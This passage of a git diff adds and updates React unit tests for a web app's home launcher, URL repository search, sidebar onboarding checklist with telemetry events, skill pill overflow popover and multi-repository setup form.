className, + }: { + variant?: string; + className?: string; + }) => + variant === "rail" ? ( +
+ ) : null, +})); + vi.mock("#/components/features/plugins/plugin-picker-modal", () => ({ PluginPickerModal: ({ onChange, @@ -581,4 +594,12 @@ describe("HomeChatLauncher", () => { metadata: null, }); }); + + it("always renders the recommended automations rail above pinned activity", () => { + renderLauncher(); + + expect( + screen.getByTestId("recommended-automations-rail"), + ).toBeInTheDocument(); + }); }); diff --git a/__tests__/components/features/home/use-url-search.test.tsx b/__tests__/components/features/home/use-url-search.test.tsx index 70489f5d9513..17de80a730e6 100644 --- a/__tests__/components/features/home/use-url-search.test.tsx +++ b/__tests__/components/features/home/use-url-search.test.tsx @@ -238,4 +238,44 @@ describe("useUrlSearch", () => { }); }); }); + it("should clear prior results when an HTTPS URL does not match repo pattern", async () => { + mockSearchGitRepositories.mockResolvedValue({ + items: [ + { + id: "1", + full_name: "owner/repo", + git_provider: "github", + is_public: true, + }, + ], + next_page_id: null, + }); + + const { result, rerender } = renderHook( + ({ inputValue, provider }) => useUrlSearch(inputValue, provider), + { + initialProps: { + inputValue: "https://github.com/owner/repo", + provider: "github" as const, + }, + }, + ); + + await waitFor(() => { + expect(result.current.urlSearchResults).toHaveLength(1); + }); + + rerender({ + inputValue: "https://example.com/", + provider: "github" as const, + }); + + await waitFor(() => { + expect(result.current.urlSearchResults).toEqual([]); + }); + + // Only the initial search for owner/repo should have triggered a call; + // the non-matching HTTPS URL must not issue a second request. + expect(mockSearchGitRepositories).toHaveBeenCalledTimes(1); + }); }); diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx new file mode 100644 index 000000000000..2048d3cacdcc --- /dev/null +++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx @@ -0,0 +1,90 @@ +import { describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import { SidebarOnboardingChecklistItemIcon } from "#/components/features/sidebar/sidebar-onboarding-checklist-item-icon"; +import { SidebarOnboardingChecklistItemPreview } from "#/components/features/sidebar/sidebar-onboarding-checklist-item-preview"; +import { + NavigationProvider, + type NavigationContextValue, +} from "#/context/navigation-context"; +import { I18nKey } from "#/i18n/declaration"; + +const navigation: NavigationContextValue = { + currentPath: "/", + conversationId: null, + isNavigating: false, + navigate: () => undefined, +}; + +function renderPreview(id: Parameters[0]["id"]) { + return render( + + + , + ); +} + +describe("SidebarOnboardingChecklistItemIcon", () => { + it.each([ + ["configure-llm", "sidebar-onboarding-checklist-icon-configure-llm"], + ["start-conversation", "sidebar-onboarding-checklist-icon-start-conversation"], + ["schedule-task", "sidebar-onboarding-checklist-icon-schedule-task"], + ["customize-agent", "sidebar-onboarding-checklist-icon-customize-agent"], + ["connect-mcp", "sidebar-onboarding-checklist-icon-connect-mcp"], + ["join-slack", "sidebar-onboarding-checklist-icon-join-slack"], + ] as const)("renders an icon for %s", (id, testId) => { + render(); + + expect(screen.getByTestId(testId)).toBeInTheDocument(); + }); +}); + +describe("SidebarOnboardingChecklistItemPreview", () => { + it("renders title, icon, action button, and docs link", () => { + renderPreview("configure-llm"); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-configure-llm"), + ).toBeInTheDocument(); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toBeInTheDocument(); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM_DESC), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-action-configure-llm"), + ).toHaveAttribute("href", "/settings/llm"); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONFIGURE_LLM), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-docs-configure-llm"), + ).toHaveAttribute( + "href", + "https://docs.openhands.dev/openhands/usage/settings/llm-settings#llm-profiles", + ); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_DOCS_LINK), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-icon-configure-llm"), + ).toBeInTheDocument(); + }); + + it("renders the Slack preview as an external invite action", () => { + renderPreview("join-slack"); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-join-slack"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-action-join-slack"), + ).toHaveAttribute("href", "https://openhands.dev/joinslack"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-action-join-slack"), + ).toHaveAttribute("target", "_blank"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-preview-docs-join-slack"), + ).toHaveAttribute("href", "https://docs.openhands.dev/overview/community"); + }); +}); diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts new file mode 100644 index 000000000000..f2a7ba2a183b --- /dev/null +++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts @@ -0,0 +1,82 @@ +import { describe, expect, it } from "vitest"; +import { DEFAULT_SETTINGS } from "#/services/settings"; +import { isConfigureLlmChecklistItemComplete } from "#/components/features/sidebar/sidebar-onboarding-checklist-llm-complete"; + +describe("isConfigureLlmChecklistItemComplete", () => { + it("returns false while LLM readiness is still indeterminate", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + false, + true, + undefined, + true, + ), + ).toBe(false); + }); + + it("returns true when useLlmConfigured reports configured", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + true, + false, + undefined, + false, + ), + ).toBe(true); + }); + + it("returns true when any saved LLM profile has an API key", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + false, + true, + { + active_profile: "work", + profiles: [ + { + name: "work", + model: "openai/gpt-5.5", + base_url: "https://api.openai.com/v1", + api_key_set: true, + }, + ], + }, + false, + ), + ).toBe(true); + }); + + it("returns true when settings already have a model and API key", () => { + expect( + isConfigureLlmChecklistItemComplete( + { + ...DEFAULT_SETTINGS, + llm_api_key_set: true, + agent_settings: { + ...(DEFAULT_SETTINGS.agent_settings ?? {}), + llm: { model: "openai/gpt-5.5" }, + }, + }, + false, + true, + undefined, + true, + ), + ).toBe(true); + }); + + it("returns false when no model or auth is present", () => { + expect( + isConfigureLlmChecklistItemComplete( + DEFAULT_SETTINGS, + false, + false, + { active_profile: null, profiles: [] }, + false, + ), + ).toBe(false); + }); +}); diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx b/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx new file mode 100644 index 000000000000..46e3eadade0e --- /dev/null +++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx @@ -0,0 +1,405 @@ +import { + afterEach, + beforeEach, + describe, + expect, + it, + type MockInstance, + vi, +} from "vitest"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { ONBOARDING_COMPLETED_STORAGE_KEY } from "#/components/features/onboarding/use-onboarding-completion"; +import { SidebarOnboardingChecklist } from "#/components/features/sidebar/sidebar-onboarding-checklist"; +import { + OPENHANDS_SLACK_COMMUNITY_URL, + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY, + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, +} from "#/components/features/sidebar/sidebar-onboarding-checklist.constants"; +import { + readSidebarOnboardingChecklistMinimized, + readSidebarOnboardingChecklistSlackJoined, +} from "#/components/features/sidebar/sidebar-onboarding-checklist-storage"; +import { + NavigationProvider, + type NavigationContextValue, +} from "#/context/navigation-context"; +import { I18nKey } from "#/i18n/declaration"; +import * as telemetry from "#/services/telemetry"; + +const mockUsePaginatedConversations = vi.fn(); +const mockUseAutomationHealth = vi.fn(); +const mockUseAutomations = vi.fn(); +const mockUseSettings = vi.fn(); +const mockUseLlmConfigured = vi.fn(); +const mockUseLlmProfiles = vi.fn(); + +vi.mock("#/hooks/query/use-paginated-conversations", () => ({ + usePaginatedConversations: () => mockUsePaginatedConversations(), +})); + +vi.mock("#/hooks/query/use-automation-health", () => ({ + useAutomationHealth: () => mockUseAutomationHealth(), +})); + +vi.mock("#/hooks/query/use-automations", () => ({ + useAutomations: () => mockUseAutomations(), +})); + +vi.mock("#/hooks/query/use-settings", () => ({ + useSettings: () => mockUseSettings(), +})); + +vi.mock("#/hooks/use-llm-configured", () => ({ + useLlmConfigured: () => mockUseLlmConfigured(), +})); + +vi.mock("#/hooks/query/use-llm-profiles", () => ({ + useLlmProfiles: () => mockUseLlmProfiles(), +})); + +function renderChecklist() { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + const navigate = vi.fn(); + const navigation: NavigationContextValue = { + currentPath: "/", + conversationId: null, + isNavigating: false, + navigate, + }; + + return { + ...render( + + + + + , + ), + navigate, + }; +} + +describe("SidebarOnboardingChecklist", () => { + beforeEach(() => { + window.localStorage.clear(); + window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); + window.localStorage.removeItem(SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY); + window.localStorage.removeItem( + SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY, + ); + window.localStorage.removeItem( + SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY, + ); + + mockUsePaginatedConversations.mockReturnValue({ + data: { pages: [{ items: [{ id: "conv-1" }] }] }, + }); + mockUseAutomationHealth.mockReturnValue({ + data: { status: "ok" }, + }); + mockUseAutomations.mockReturnValue({ + data: { total: 0, automations: [] }, + }); + mockUseSettings.mockReturnValue({ + data: { + agent_settings: { + mcp_config: { mcpServers: {} }, + }, + }, + }); + mockUseLlmConfigured.mockReturnValue({ + isConfigured: false, + isLoading: false, + }); + mockUseLlmProfiles.mockReturnValue({ + data: { active_profile: null, profiles: [] }, + isLoading: false, + }); + }); + + it("renders setup items including LLM keys, agent profiles, schedule a task, and Slack", () => { + renderChecklist(); + + expect( + screen.getByTestId("sidebar-onboarding-checklist"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-configure-llm"), + ).toHaveAttribute("href", "/settings/llm"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-connect-mcp"), + ).toHaveAttribute("href", "/mcp"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).toHaveAttribute("href", "/automations"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-customize-agent"), + ).toHaveAttribute("href", "/settings/agents"); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"), + ).toHaveAttribute("href", OPENHANDS_SLACK_COMMUNITY_URL); + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"), + ).toHaveAttribute("target", "_blank"); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toBeInTheDocument(); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK), + ).toBeInTheDocument(); + }); + + it("marks Join Slack complete after the invite link is clicked", async () => { + const user = userEvent.setup(); + renderChecklist(); + + const slackItem = screen.getByTestId( + "sidebar-onboarding-checklist-item-join-slack", + ); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK), + ).not.toHaveClass("line-through"); + + await user.click(slackItem); + + expect(readSidebarOnboardingChecklistSlackJoined()).toBe(true); + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK), + ).toHaveClass("line-through"); + }); + + it("crosses out Add LLM API key when LLM is configured", () => { + mockUseLlmConfigured.mockReturnValue({ + isConfigured: true, + isLoading: false, + }); + mockUseLlmProfiles.mockReturnValue({ + data: { + active_profile: "work", + profiles: [ + { + name: "work", + model: "openai/gpt-5.5", + base_url: "https://api.openai.com/v1", + api_key_set: true, + }, + ], + }, + isLoading: false, + }); + mockUseSettings.mockReturnValue({ + data: { + llm_api_key_set: true, + agent_settings: { + llm: { model: "openai/gpt-5.5" }, + mcp_config: { mcpServers: {} }, + }, + }, + }); + + renderChecklist(); + + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toHaveClass("line-through"); + }); + + it("crosses out Add LLM API key when a saved profile has an API key", () => { + mockUseLlmConfigured.mockReturnValue({ + isConfigured: false, + isLoading: true, + }); + mockUseLlmProfiles.mockReturnValue({ + data: { + active_profile: "work", + profiles: [ + { + name: "work", + model: "openai/gpt-5.5", + base_url: "https://api.openai.com/v1", + api_key_set: true, + }, + ], + }, + isLoading: false, + }); + mockUseSettings.mockReturnValue({ + data: { + agent_settings: { + mcp_config: { mcpServers: {} }, + }, + }, + }); + + renderChecklist(); + + expect( + screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM), + ).toHaveClass("line-through"); + }); + + it("hides when the welcome onboarding flow is not complete", () => { + window.localStorage.removeItem(ONBOARDING_COMPLETED_STORAGE_KEY); + renderChecklist(); + + expect( + screen.queryByTestId("sidebar-onboarding-checklist"), + ).not.toBeInTheDocument(); + }); + + it("minimizes and expands with the caret toggle", async () => { + const user = userEvent.setup(); + renderChecklist(); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("sidebar-onboarding-checklist-toggle")); + + expect( + screen.queryByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).not.toBeInTheDocument(); + expect(readSidebarOnboardingChecklistMinimized()).toBe(true); + + await user.click(screen.getByTestId("sidebar-onboarding-checklist-toggle")); + + expect( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ).toBeInTheDocument(); + expect(readSidebarOnboardingChecklistMinimized()).toBe(false); + }); + + it("hides when collapsed", () => { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + const navigation: NavigationContextValue = { + currentPath: "/", + conversationId: null, + isNavigating: false, + navigate: vi.fn(), + }; + + render( + + + + + , + ); + + expect( + screen.queryByTestId("sidebar-onboarding-checklist"), + ).not.toBeInTheDocument(); + }); + + describe("onboarding link tracking", () => { + let captureMock: MockInstance; + + beforeEach(() => { + captureMock = vi + .spyOn(telemetry, "trackEvent") + .mockResolvedValue(undefined); + }); + + afterEach(() => { + captureMock.mockRestore(); + }); + + const linkClickEvents = () => + captureMock.mock.calls.filter( + ([name]) => name === "onboarding_link_clicked", + ); + + it("captures a single onboarding_link_clicked when the Join Slack row is clicked", async () => { + const user = userEvent.setup(); + renderChecklist(); + + await user.click( + screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"), + ); + + expect(linkClickEvents()).toHaveLength(1); + expect(linkClickEvents()[0][1]).toMatchObject({ + link_id: "join_slack", + destination_type: "community", + surface: "landing_checklist", + checklist_item: "join_slack", + is_external: true, + }); + }); + + it("captures onboarding_link_clicked for an internal row and still navigates", async () => { + const user = userEvent.setup(); + const { navigate } = renderChecklist(); + + await user.click( + screen.getByTestId("sidebar-onboarding-checklist-item-configure-llm"), + ); + + expect(linkClickEvents()).toHaveLength(1); + expect(linkClickEvents()[0][1]).toMatchObject({ + link_id: "configure_llm", + destination_type: "settings", + surface: "landing_checklist", + checklist_item: "configure_llm", + is_external: false, + }); + expect(navigate).toHaveBeenCalledWith("/settings/llm", { + replace: false, + }); + }); + + it("captures open_docs with the owning checklist item when a preview docs link is clicked", async () => { + const user = userEvent.setup(); + renderChecklist(); + + await user.hover( + screen.getByTestId("sidebar-onboarding-checklist-item-connect-mcp"), + ); + await user.click( + await screen.findByTestId( + "sidebar-onboarding-checklist-preview-docs-connect-mcp", + ), + ); + + expect(linkClickEvents()).toHaveLength(1); + expect(linkClickEvents()[0][1]).toMatchObject({ + link_id: "open_docs", + destination_type: "documentation", + surface: "landing_checklist", + checklist_item: "connect_mcp", + is_external: true, + }); + }); + + it("captures the row's link_id when a preview action CTA is clicked", async () => { + const user = userEvent.setup(); + renderChecklist(); + + await user.hover( + screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"), + ); + await user.click( + await screen.findByTestId( + "sidebar-onboarding-checklist-preview-action-schedule-task", + ), + ); + + expect(linkClickEvents()).toHaveLength(1); + expect(linkClickEvents()[0][1]).toMatchObject({ + link_id: "schedule_task", + destination_type: "automation", + surface: "landing_checklist", + checklist_item: "schedule_task", + is_external: false, + }); + }); + }); +}); diff --git a/__tests__/components/features/sidebar/sidebar.test.tsx b/__tests__/components/features/sidebar/sidebar.test.tsx index 4d536cf2add4..a82a60ffa4c7 100644 --- a/__tests__/components/features/sidebar/sidebar.test.tsx +++ b/__tests__/components/features/sidebar/sidebar.test.tsx @@ -51,16 +51,21 @@ vi.mock("#/hooks/query/use-settings", () => ({ getErrorStatus: () => undefined, })); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackendContext: () => ({ - backends: [{ id: "local", name: "Local", kind: "local" }], - active: { - backend: { id: "local", name: "Local", kind: "local" }, - orgId: null, - }, - setActive: vi.fn(), - }), -})); +vi.mock("#/contexts/active-backend-context", () => { + const active = { + backend: { id: "local", name: "Local", kind: "local" }, + orgId: null, + }; + + return { + useActiveBackendContext: () => ({ + backends: [active.backend], + active, + setActive: vi.fn(), + }), + useActiveBackend: () => active, + }; +}); vi.mock("#/hooks/query/use-backends-health", () => ({ useBackendsHealth: () => ({ @@ -84,6 +89,12 @@ vi.mock("#/components/features/conversation-panel/conversation-panel", () => ({ ConversationPanel: () => null, })); +vi.mock("#/components/features/sidebar/sidebar-onboarding-checklist", () => ({ + SidebarOnboardingChecklist: () => ( +
+ ), +})); + vi.mock( "#/components/features/conversation-panel/conversation-panel-wrapper", () => ({ @@ -458,6 +469,23 @@ describe("Sidebar", () => { } }); + it("renders the Getting Started checklist above the bottom backend bar", () => { + renderSidebar("/conversations"); + + const automations = screen.getByTestId("sidebar-automations-link"); + const checklist = screen.getByTestId("sidebar-onboarding-checklist"); + const backendBar = screen.getByTestId("backend-selector"); + + expect( + automations.compareDocumentPosition(checklist) & + Node.DOCUMENT_POSITION_FOLLOWING, + ).toBeTruthy(); + expect( + checklist.compareDocumentPosition(backendBar) & + Node.DOCUMENT_POSITION_FOLLOWING, + ).toBeTruthy(); + }); + it("renders icons for every top-level nav item so they remain meaningful in the collapsed rail", () => { renderSidebar("/conversations"); diff --git a/__tests__/components/features/skills/skill-card-pill-row.test.tsx b/__tests__/components/features/skills/skill-card-pill-row.test.tsx index 52ce6e6b3765..45862f1a4657 100644 --- a/__tests__/components/features/skills/skill-card-pill-row.test.tsx +++ b/__tests__/components/features/skills/skill-card-pill-row.test.tsx @@ -1,35 +1,83 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; +import React from "react"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { act, screen, waitFor, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { renderWithProviders } from "test-utils"; import { SKILL_CARD_PILL_CLASS, SkillCardPillRow, } from "#/components/features/skills/skill-card-pill-row"; describe("SkillCardPillRow", () => { - it("keeps pills on a single nowrap row with overflow handling", () => { + const observedCallbacks: ResizeObserverCallback[] = []; + + beforeEach(() => { + observedCallbacks.length = 0; vi.stubGlobal( "ResizeObserver", class { - observe() {} + constructor(cb: ResizeObserverCallback) { + observedCallbacks.push(cb); + } + + observe() { + const cb = observedCallbacks[observedCallbacks.length - 1]; + cb?.([], this as unknown as ResizeObserver); + } disconnect() {} + + unobserve() {} }, ); + }); + + afterEach(() => { + vi.unstubAllGlobals(); + }); + + function stubWidths(containerWidth: number, pillWidth: number) { + const row = screen.getByTestId("skill-triggers-test"); + Object.defineProperty(row, "clientWidth", { + configurable: true, + get: () => containerWidth, + }); + + const measure = row + .closest('[data-testid="skill-triggers-test-wrap"]') + ?.querySelector('[aria-hidden="true"]') as HTMLElement; + Array.from(measure.children).forEach((child) => { + Object.defineProperty(child, "offsetWidth", { + configurable: true, + get: () => pillWidth, + }); + }); + + act(() => { + for (const cb of observedCallbacks) { + cb([], {} as ResizeObserver); + } + }); + } - render( - Trigger-based, - }, - { - id: "trigger-ssh", - node: ssh, - }, - ]} - />, + const pills = [ + { + id: "event-trigger", + node: ( + + pull_request_review_comment.created (github) + + ), + }, + { + id: "model", + node: review-fast, + }, + ]; + + it("keeps pills on a single nowrap row with overflow handling", () => { + renderWithProviders( + , ); const row = screen.getByTestId("skill-triggers-test"); @@ -37,4 +85,111 @@ describe("SkillCardPillRow", () => { expect(row).toHaveClass("overflow-hidden"); expect(row).not.toHaveClass("flex-wrap"); }); + + it("folds pills that do not fit into a +N popover", async () => { + const user = userEvent.setup(); + renderWithProviders( + , + ); + + // Wide enough for one 80px pill + overflow reserve, not two. + stubWidths(130, 80); + + await waitFor(() => { + expect( + screen.getByTestId("skill-triggers-test-overflow"), + ).toBeInTheDocument(); + }); + + expect(screen.getByTestId("skill-triggers-test")).toHaveTextContent( + "pull_request_review_comment.created (github)", + ); + expect(screen.getByTestId("skill-triggers-test")).not.toHaveTextContent( + "review-fast", + ); + + const overflow = screen.getByTestId("skill-triggers-test-overflow"); + expect(overflow).toHaveAttribute( + "aria-label", + "SETTINGS$SKILLS_PILLS_OVERFLOW_ARIA", + ); + + await user.click(overflow); + + const popover = screen.getByTestId("skill-triggers-test-overflow-popover"); + expect(popover.parentElement).toBe(document.body); + expect( + within(popover).getByTestId("skill-triggers-test-overflow-item"), + ).toHaveTextContent("review-fast"); + }); + + it("opens the overflow popover without activating a wrapping card", async () => { + const user = userEvent.setup(); + const onActivate = vi.fn(); + + renderWithProviders( +
{ + if (event.key === "Enter") onActivate(); + }} + > + +
, + ); + + stubWidths(130, 80); + + await waitFor(() => { + expect( + screen.getByTestId("skill-triggers-test-overflow"), + ).toBeInTheDocument(); + }); + + await user.click(screen.getByTestId("skill-triggers-test-overflow")); + + expect( + screen.getByTestId("skill-triggers-test-overflow-popover"), + ).toBeInTheDocument(); + expect(onActivate).not.toHaveBeenCalled(); + }); + + it("anchors the overflow popover below the +N pill", async () => { + const user = userEvent.setup(); + renderWithProviders( + , + ); + + stubWidths(130, 80); + + await waitFor(() => { + expect( + screen.getByTestId("skill-triggers-test-overflow"), + ).toBeInTheDocument(); + }); + + const overflow = screen.getByTestId("skill-triggers-test-overflow"); + vi.spyOn(overflow, "getBoundingClientRect").mockReturnValue({ + x: 200, + y: 100, + top: 100, + bottom: 118, + left: 200, + right: 236, + width: 36, + height: 18, + toJSON: () => ({}), + }); + + await user.click(overflow); + + const popover = screen.getByTestId("skill-triggers-test-overflow-popover"); + expect(popover).toHaveStyle({ + position: "fixed", + top: "122px", + left: "200px", + }); + }); }); diff --git a/__tests__/components/manifest/manifest-form-field.test.tsx b/__tests__/components/manifest/manifest-form-field.test.tsx index 0760a7c06a3f..72e7b217c7dc 100644 --- a/__tests__/components/manifest/manifest-form-field.test.tsx +++ b/__tests__/components/manifest/manifest-form-field.test.tsx @@ -11,7 +11,10 @@ import { import { SetupFormField } from "#/components/features/manifest/manifest-form-field"; import { ActiveBackendProvider } from "#/contexts/active-backend-context"; import type { Backend } from "#/api/backend-registry/types"; -import type { SetupFormField as SetupFormFieldDefinition } from "#/manifests/types"; +import type { + SetupFormField as SetupFormFieldDefinition, + SetupFormValue, +} from "#/manifests/types"; const LOCAL_BACKEND: Backend = { id: "local-1", @@ -39,13 +42,21 @@ const REPOSITORY_FIELD: SetupFormFieldDefinition = { }; /** Holds the field value the way the setup dialog does, so typing accumulates. */ -function Harness({ onValueChange }: { onValueChange: (value: string) => void }) { - const [value, setValue] = useState(""); +function Harness({ + field = REPOSITORY_FIELD, + initialValue = "", + onValueChange, +}: { + field?: SetupFormFieldDefinition; + initialValue?: SetupFormValue; + onValueChange: (value: SetupFormValue) => void; +}) { + const [value, setValue] = useState(initialValue); return ( void }) ); } -function renderRepositoryField(backend: Backend) { +function renderRepositoryField( + backend: Backend, + harness: { + field?: SetupFormFieldDefinition; + initialValue?: SetupFormValue; + } = {}, +) { setRegisteredBackends([backend]); setActiveSelection({ backendId: backend.id }); @@ -72,7 +89,7 @@ function renderRepositoryField(backend: Backend) { } > - + , ); @@ -80,6 +97,13 @@ function renderRepositoryField(backend: Backend) { return { onValueChange, user: userEvent.setup() }; } +/** The same field once the entry asks for several repositories. */ +const REPOSITORIES_FIELD: SetupFormFieldDefinition = { + ...REPOSITORY_FIELD, + label: "Repositories", + multiple: true, +}; + beforeEach(() => { __resetActiveStoreForTests(); }); @@ -107,6 +131,118 @@ describe("SetupFormField repo-picker", () => { ); }); + it("collects several repositories when the entry asks for several", async () => { + // Arrange + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: [], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation", + ); + await user.click(screen.getByTestId("setup-list-repository-add")); + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/extensions", + ); + await user.click(screen.getByTestId("setup-list-repository-add")); + + // Assert — one automation polling both, which is what the entry supports. + expect(onValueChange).toHaveBeenLastCalledWith([ + "OpenHands/automation", + "OpenHands/extensions", + ]); + }); + + it("adds a repository on Enter rather than submitting a half-built list", async () => { + // Arrange + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: [], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation{Enter}", + ); + + // Assert + expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/automation"]); + }); + + it("does not add a repository already in the list", async () => { + // Arrange — adding it twice polls it twice per run for one result. + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: ["OpenHands/automation"], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation{Enter}", + ); + + // Assert + expect(onValueChange).not.toHaveBeenCalled(); + }); + + it("removes a repository from the list", async () => { + // Arrange + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: ["OpenHands/automation", "OpenHands/extensions"], + }); + + // Act + await user.click( + screen.getByTestId("setup-list-repository-remove-OpenHands/automation"), + ); + + // Assert + expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/extensions"]); + }); + + it("names the input the entry's own label for a screen reader", () => { + // Arrange — the label is rendered above the list rather than on the input, + // which is how an input ends up announced as nothing at all. + renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: [], + }); + + // Assert + expect(screen.getByRole("textbox", { name: "Repositories" })).toBe( + screen.getByTestId("setup-field-repository"), + ); + }); + + it("keeps a repository typed but not added, rather than dropping it", async () => { + // Arrange — the input still shows the text, so leaving the field is the + // user saying they answered it. + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: ["OpenHands/automation"], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/extensions", + ); + await user.tab(); + + // Assert + expect(onValueChange).toHaveBeenLastCalledWith([ + "OpenHands/automation", + "OpenHands/extensions", + ]); + }); + it("browses the account's repositories on a cloud backend", () => { // Arrange / Act renderRepositoryField(CLOUD_BACKEND); diff --git a/__tests__/components/manifest/manifest-setup-dialog.test.tsx b/__tests__/components/manifest/manifest-setup-dialog.test.tsx index 5c8617a1aa96..fd1c0d7a0491 100644 --- a/__tests__/components/manifest/manifest-setup-dialog.test.tsx +++ b/__tests__/components/manifest/manifest-setup-dialog.test.tsx @@ -22,6 +22,7 @@ const mocks = vi.hoisted(() => ({ runAction: vi.fn(), prerequisites: vi.fn(), capabilities: vi.fn(), + missingCreateEndpoints: vi.fn<(entry: SetupEntry) => string[]>(() => []), tracking: { trackAutomationSetupOpened: vi.fn(), trackAutomationSetupValidated: vi.fn(), @@ -52,6 +53,15 @@ vi.mock("#/hooks/query/use-manifest-prerequisites", () => ({ useSetupPrerequisites: () => mocks.prerequisites(), })); +// Which endpoints an entry cannot be created without is read off the published +// interface manifest, so a real one that declares them leaves the refusal path +// unreachable. Stubbed so the case states the manifest it is about, rather than +// depending on the packaged manifest continuing not to publish them. +vi.mock("#/manifests/automation-setup", async (importOriginal) => ({ + ...(await importOriginal()), + missingCreateEndpoints: mocks.missingCreateEndpoints, +})); + vi.mock("#/manifests/manifest-actions", () => ({ useSetupAction: () => mocks.runAction, })); @@ -98,6 +108,9 @@ async function fillForm(user: ReturnType) { beforeEach(() => { vi.clearAllMocks(); + // clearAllMocks resets calls, not implementations, so the one case that + // stubs a manifest without the bundle endpoints would leak into the rest. + mocks.missingCreateEndpoints.mockReturnValue([]); mocks.prerequisites.mockReturnValue(NOTHING_TO_CONNECT); mocks.capabilities.mockReturnValue({ capabilities: null, @@ -111,6 +124,35 @@ beforeEach(() => { }); }); +/** The same entry once it asks for several repositories. */ +const MULTI_REPO_ENTRY: SetupEntry = (() => { + const { form } = createSetup(); + return createSetupEntry({ + setup: createSetup({ + form: { + ...form, + args: { + ...form.args, + repository: { ...form.args.repository, multiple: true }, + }, + 